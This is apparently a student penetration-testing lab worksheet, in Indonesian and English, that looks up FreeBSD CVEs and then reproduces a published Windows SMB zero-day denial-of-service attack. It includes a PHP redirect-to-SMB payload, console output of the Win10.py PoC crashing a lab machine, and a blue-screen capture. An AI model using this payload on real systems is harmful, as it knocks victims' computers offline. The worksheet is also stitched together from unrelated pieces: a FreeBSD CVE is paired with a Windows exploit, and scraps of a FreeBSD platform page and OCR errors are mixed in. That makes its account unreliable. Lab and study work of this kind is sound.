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Langkah 1 : mengecek versi FreeBSD terbaru
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Langkah 2 : Cek CVE pada web : https://cve.mitre.org/cve/search_cve_list.html
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CVE pada web : https://www.cvedetails.com/vulnerability-list/vendor_id-6/product_id-7/version_id-225726/Freebsd-Freebsd-11.1.html
[bookmark: _GoBack][image: ]
Langkah 3 : Analisis CVE sebagai celah untuk melakukan serangan
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Langkah 4 : Temukan cara attack dari vulnerabillity tersebut (Source : https://www.secureworks.com/blog/attacking-windows-smb-zero-day-vulnerability)

Attack Scenario :
1. The attacker runs the PoC on a system they control (see Figure 1). The attacker-controlled system in this example is running the PoC (Win10.py) and listening on TCP port 445.
[image: https://www.secureworks.com/~/media/Images/Insights/Blog/attacking%20windows%20smb%20zero%20day%20vulnerability/01-smb-zero-day-exploit.ashx?la=en&hash=B3298E0D63794EAE32E76A079206633923F11F6C]
Figure 1. Running the SMB zero-day exploit on an attacker-controlled system. (Source: SecureWorks)
2. The attacker sets up and runs a web server on another system.
3. The attacker places the "redirect-smb.php" PHP file listed in Figure 2 in the public directory. This PHP file uses the Redirect to SMB attack.
[image: https://www.secureworks.com/~/media/Images/Insights/Blog/attacking%20windows%20smb%20zero%20day%20vulnerability/02-php-file-placed-in-web-servers-public-directory.ashx?la=en&hash=E6C93BBF3ACE504DA91ADC2D8381B66F94040132]
Figure 2. PHP file placed in web server's public directory. (Source: SecureWorks)
4. Using Internet Explorer on a victim's Windows 10 system to access the attacker's web server, the victim clicks the link corresponding to the "redirect-smb.php" file (see Figure 3).
[image: https://www.secureworks.com/~/media/Images/Insights/Blog/attacking%20windows%20smb%20zero%20day%20vulnerability/03-victim-clicks-link.ashx?la=en&hash=73538EB8046EB0857A37276BD62AFCE7C1C3C8A1]
Figure 3. Victim clicks link to malicious PHP file. (Source: SecureWorks)
5. Clicking this link redirects the victim's system to the attacker's SMB server and initiates the DoS attack (see Figure 4).
[image: https://www.secureworks.com/~/media/Images/Insights/Blog/attacking%20windows%20smb%20zero%20day%20vulnerability/04-sending-the-smb-dos-exploit.ashx?la=en&hash=7D41C0527A9107CAC3A56C4DCE28B716F44729D9]
Figure 4. Sending the SMB DoS exploit to the victim's system. (Source: SecureWorks)
6. A few seconds later, the victim's Windows 10 system crashes, displaying a Blue Screen of Death (BSOD) (see Figure 5), and is automatically restarted.
[image: https://www.secureworks.com/~/media/Images/Insights/Blog/attacking%20windows%20smb%20zero%20day%20vulnerability/05-bsod-displayed-on-victims-system.ashx?la=en&hash=7CAD756627934AB70360FA152857B8CC2C433F65]
Figure 5. BSOD displayed on victim's system after exploiting the SMB DoS vulnerability. (Source: SecureWorks)
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In FreeBSD through 11.1, the smb,_strdupin function in sys/netsmb/smb_subr.c has a race condition with a resultant out-of-bounds read, because it can cause £2p->t_name strings to lack a final \0' character.
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Name Description

CVE-2017-15037 In FreeBSD through 11.1, the smb_strdupin function in sys/netsmb/smb_subr.c has a race condition with a resultant out-of-bounds read, because it can cause
t2p->t_name strings to lack a final "\0' character.
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<?php
header ('location: file://192.168.217.145\a');
exit();

2>
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root@kali2:~/Desktop/labo/smb/PoC/SMBv3TreeConnect# python Winl0.py
From: ('192.168.217.146", 49773

[*]Negotiating SMBv2.

[*]Negotiate Protocol SMBv2 packet sent.

[*]Session challenge SMBV2 packet sent.

From: ('192.168.217.146", 49774

[*]Negotiate Protocol SMBv2 packet sent.

[*]Session challenge SMBV2 packet sent.

[*]Triggering Bug; Tree Connect SMBv2 packet sent.

Disconnected from ('192.168.217.146", 49774
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Your PC ran into a problem and needs to restart. We're just collecting
some error info, and then we'll restart for you.

0% complete

For more information about this issue and possible fixes, visit http://windows.com/stopcode

If you calla support person, give them this info;
Stop code: DRIVER IRQL NOT LESS OR EQUAL

What failed: mrxsmb20.5ys.
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breduction Most users of FreeBSD will have hardware for either the amd64, 1386, or armv6 architectures.

At Modern PCs use the amd64 architecture, including those with Intel® branded processors. Computers with more than 3 GB of
Production memory should use amd64. If the computer is an older, 32-bit only model, use i386. For embedded devices and single-board
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104 which supports ARMv6 and ARMv7 processors.
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Release: All other users should reference the complete list of supported FreeBSD platforms.




